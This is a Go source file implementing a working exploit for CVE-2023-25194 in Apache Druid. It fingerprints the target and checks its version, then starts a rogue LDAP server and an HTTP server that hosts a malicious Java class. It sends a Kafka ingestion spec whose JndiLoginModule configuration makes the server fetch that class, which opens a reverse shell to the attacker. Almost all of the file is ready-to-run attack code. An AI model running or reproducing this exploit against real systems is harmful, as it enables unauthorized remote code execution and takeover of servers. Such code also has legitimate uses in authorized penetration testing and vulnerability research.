cve-2023-25194.go

package main

import (
	"fmt"
	"regexp"
	"strconv"
	"strings"
	"time"

	ldap "github.com/vjeantet/ldapserver"
	"github.com/vulncheck-oss/go-exploit"
	"github.com/vulncheck-oss/go-exploit/c2"
	"github.com/vulncheck-oss/go-exploit/config"
	"github.com/vulncheck-oss/go-exploit/java/ldapjndi"
	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/protocol"
	"github.com/vulncheck-oss/go-exploit/random"
)

var (
	globalLDAPAddr string
	globalLDAPPort int
	globalHTTPAddr string
	globalHTTPPort int
)

type KafkaJNDI struct{}

func (sploit KafkaJNDI) ValidateTarget(conf *config.Config) bool {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
	resp, body, ok := protocol.HTTPGetCache(url)
	if !ok {
		return false
	}

	const title = "<title>Apache Druid</title>"
	if resp.StatusCode != 200 || !strings.Contains(body, title) {
		return false
	}

	return true
}

func (sploit KafkaJNDI) CheckVersion(conf *config.Config) exploit.VersionCheckType {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
	resp, body, ok := protocol.HTTPGetCache(url)
	if !ok {
		return exploit.Unknown
	}

	const title = "public/web-console-"
	if resp.StatusCode != 200 || !strings.Contains(body, title) {
		output.PrintDebug("CheckVersion failed. Missing include.")

		return exploit.Unknown
	}

	re := regexp.MustCompile(`public/web-console-(\d+\.\d+\.\d+).js`)
	res := re.FindAllStringSubmatch(body, -1)
	if len(res) == 0 {
		output.PrintDebug("Failed to extract the Druid version.")

		return exploit.Unknown
	}

	versionArray := strings.Split(res[0][1], ".")
	if len(versionArray) != 3 {
		output.PrintDebug("Unexpected Druid version number")

		return exploit.Unknown
	}
	exploit.StoreVersion(conf, res[0][1])

	major, _ := strconv.Atoi(versionArray[0])
	minor, _ := strconv.Atoi(versionArray[1])
	point, _ := strconv.Atoi(versionArray[2])

	if major < 26 || (major == 25 && minor == 0 && point == 0) {
		return exploit.Vulnerable
	}

	return exploit.NotVulnerable
}

func (sploit KafkaJNDI) RunExploit(conf *config.Config) bool {
	if len(globalLDAPAddr) == 0 {
		output.PrintError("An LDAP server bind address must be provided. Quitting.")

		return false
	}
	if len(globalHTTPAddr) == 0 {
		output.PrintError("An HTTP server bind address must be provided. Quitting.")

		return false
	}

	// create the LDAP server and set it running on a background thread
	randomEndpoint := random.RandLetters(8)
	ldapServer := ldapjndi.CreateLDAPServer(randomEndpoint)
	ldapServerFunc := func(ldapServer *ldap.Server, host string, port int) {
		output.PrintfStatus("Starting LDAP server on %s:%d", host, port)
		_ = ldapServer.ListenAndServe(host + ":" + strconv.Itoa(port))
	}
	go ldapServerFunc(ldapServer, globalLDAPAddr, globalLDAPPort)

	// give it a couple to get going
	time.Sleep(2 * time.Second)

	// set payload to http reverse shell. This spawns an HTTP server that will
	// direct the victim to download a malicious Java class, which will initiate
	// the reverse shell. The current implementation is Linux only (bash)
	ldapjndi.SetLDAPHTTPClass(ldapjndi.HTTPReverseShell, conf.Lhost, conf.Lport, globalHTTPAddr, globalHTTPPort)

	httpPayload := fmt.Sprintf(`{
    "type":"kafka",
    "spec":{
        "type":"kafka",
        "ioConfig":{
            "type":"kafka",
            "consumerProperties":{
                "bootstrap.servers":"%s:%d",
                "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://%s:%d/%s\" useFirstPass=\"true\" group.provider.url=\"\";"
            },
            "topic":"%s",
            "inputFormat":{
                "type":"regex",
                "pattern":"(.*)",
                "columns":[
                    "raw"
                ]
            }
        },
        "dataSchema":{
            "dataSource":"%s",
            "timestampSpec":{
            },
            "granularitySpec":{
            }
        }
    }
}`, conf.Rhost, conf.Rport, globalLDAPAddr, globalLDAPPort, randomEndpoint, random.RandLetters(8), random.RandLetters(8))

	headers := map[string]string{
		"Content-Type": "application/json",
	}
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/druid/indexer/v1/sampler?for=connect")
	resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, httpPayload, headers)
	if !ok {
		return false
	}

	const json = `{"error":"Unable to create RecordSupplier: User not found"}`
	if resp.StatusCode != 400 || body != json {
		output.PrintfError("RunExploit failed: resp=%#v body=%q", resp, body)

		return false
	}

	output.PrintStatus("Exploit completed")

	return true
}

func main() {
	supportedC2 := []c2.Impl{
		c2.SimpleShellServer,
		c2.SSLShellServer,
	}
	conf := config.NewRemoteExploit(
		config.ImplementedFeatures{AssetDetection: true, VersionScanning: false, Exploitation: true},
		config.CodeExecution, supportedC2, "Apache", []string{"Druid"},
		[]string{"cpe:2.3:a:apache:druid"}, "CVE-2023-25194", "HTTP", 8888)

	conf.CreateStringVarFlag(&globalLDAPAddr, "ldapAddr", "", "The address LDAP should bind to")
	conf.CreateIntVarFlag(&globalLDAPPort, "ldapPort", 10389, "The port for the LDAP server to bind to")
	conf.CreateStringVarFlag(&globalHTTPAddr, "httpAddr", "", "The address LDAP should bind to")
	conf.CreateIntVarFlag(&globalHTTPPort, "httpPort", 8080, "The port for the HTTP server to bind to")

	sploit := KafkaJNDI{}
	exploit.RunProgram(sploit, conf)
}